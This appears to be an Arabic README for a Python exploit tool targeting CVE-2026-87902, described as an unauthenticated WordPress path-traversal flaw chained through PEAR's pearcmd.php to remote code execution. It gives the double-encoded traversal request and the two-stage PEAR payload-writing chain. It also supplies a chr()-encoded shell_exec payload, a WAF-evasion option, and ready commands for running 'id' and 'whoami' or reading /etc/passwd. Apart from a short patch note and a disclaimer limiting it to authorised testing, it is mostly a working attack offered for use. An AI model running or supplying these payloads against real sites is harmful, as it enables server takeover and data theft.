
أداة إثبات مفهوم وماسح ضوئي بلغة Python للثغرة CVE-2026-87902، وهي ثغرة اجتياز مسار في نواة WordPress تؤدي إلى LFI وتنفيذ تعليمات برمجية عن بُعد (RCE) عبر PEAR، مع تجاوز WAF والاستغلال الآلي.
| الحقل | القيمة |
|---|
| CVE | CVE-2026-87902 |
| CVSS | 9.2 (حرجة) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| CWE | CWE-98 — التحكم غير السليم باسم الملف لـ Include/Require |
| المتأثر | WordPress 4.7.0 – 7.1.1 |
| المُصلَّح | WordPress 7.1.2 + تحديثات خلفية لجميع الفروع المدعومة |
| المصادقة | لا شيء (بدون مصادقة) |
تستدعي get_page_template() في wp-includes/template.php الدالة urldecode() على معامل الاستعلام pagename بعد أن تكون عملية التعقيم قد نُفِّذت بالفعل. تسلسل ../ مزدوج الترميز (%252E%252E%252F) يمر عبر فك الترميز الأول في PHP ليصبح %2E%2E%2F، وينجو من sanitize_title_with_dashes() (التي تحافظ على تسلسلات %xx)، ثم يُفكَّك ترميزه بواسطة استدعاء urldecode() المتأخر في WordPress إلى ../ — مما يسمح بالخروج من دليل القالب.
طريقة POST مطلوبة لأن redirect_canonical() تعود مبكرًا للطلبات غير GET/HEAD، مما يمنع تطبيع المسار قبل الوصول إلى التعليمات البرمجية المصابة.
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
page_id=2&pagename=templates%25252E%25252E%25252F%25252E%25252E%25252F...%25252Findex
1. PHP decodes POST body: templates%252E%252E%252F%252E%252E%252F...%252Findex
2. WP sanitize preserves: templates%2E%2E%2F%2E%2E%2F...%2Findex
3. get_page_template() urldecode(): templates/../../../index
4. locate_template() resolves: wp-content/themes/<theme>/page-templates/../../../index.php
5. file_exists() succeeds → include() executes the file
.php عشوائية خارج دليل القالبpearcmd.php (يتطلب تثبيت PEAR + register_argc_argv=On)يحقق طلبان مجهولان من نوع POST تنفيذ التعليمات البرمجية عن بُعد:
المرحلة 1 — تضمين pearcmd.php عبر اجتياز المسار. تصبح سلسلة الاستعلام /?+config-create+/<php-payload>+<output>.php هي argv الخاصة بـ PEAR. يكتب أمر config-create بيانات يتحكم بها المهاجم (بما في ذلك وسوم PHP) إلى دليل قابل للكتابة.
المرحلة 2 — تضمين الملف الذي كتبه PEAR. تُنفَّذ تعليمات PHP المضمّنة بصلاحيات خادم الويب.
تستخدم حمولات PHP ترميز chr() (<?=shell_exec(chr(105).chr(100))?>) لتجنب أحرف الاقتباس التي قد تُهرَّب بواسطة wp_magic_quotes().
cve-2026-87902.py — فاحص آلي + ماسح LFI + مستغل RCE عبر PEAR. يستخدم http.client للتحكم الدقيق على مستوى البايت في الطلبات (بدون إعادة ترميز من المكتبة).
Python 3.6+ (المكتبة القياسية فقط — بدون تبعيات pip)
# Check vulnerability only
python3 cve-2026-87902.py https://target.com --check
# Check with WAF bypass (multipart/form-data)
python3 cve-2026-87902.py https://target.com --check --multipart
# Specify page ID and traversal depth
python3 cve-2026-87902.py https://target.com -p 42 --depth 7
# LFI scan (default targets)
python3 cve-2026-87902.py https://target.com
# LFI scan with custom files
python3 cve-2026-87902.py https://target.com -f etc/passwd wp-includes/pluggable
# RCE via PEAR chain
python3 cve-2026-87902.py https://target.com --rce "id"
# Read a file via RCE
python3 cve-2026-87902.py https://target.com --read /etc/hostname
# Full options
python3 cve-2026-87902.py https://target.com --rce "whoami" \
--pear /usr/local/lib/php/pearcmd \
--output /tmp/wp-rce-payload \
--multipart --timeout 30
page-*--multipart الحمولة في multipart/form-data للتهرب من مطابقة أنماط WAFchr()| العلامة | المعنى |
|---|---|
[HIT] | تم تضمين الملف بنجاح |
[---] | استجابة طبيعية (لم يتم تضمين الملف) |
[???] | الاستجابة تختلف بشكل ملحوظ — تستحق التحقيق |
[WAF] | محظور بواسطة WAF (403) |
[ERR] | فشل الاتصال |
page-* (مثل page-templates/)pearcmd.php الخاص بـ PEAR قابل للقراءة + register_argc_argv=On + /tmp قابل للكتابةقم بالتحديث إلى WordPress 7.1.2 أو أحدث إصدار أمني لفرعك (تتوفر تحديثات خلفية حتى 4.7).
تُقدَّم هذه الأداة لأغراض اختبار الأمان المصرّح به وأبحاث مكافآت الثغرات فقط. استخدمها فقط ضد الأنظمة التي لديك إذن صريح باختبارها. الوصول غير المصرّح به إلى أنظمة الحاسوب غير قانوني.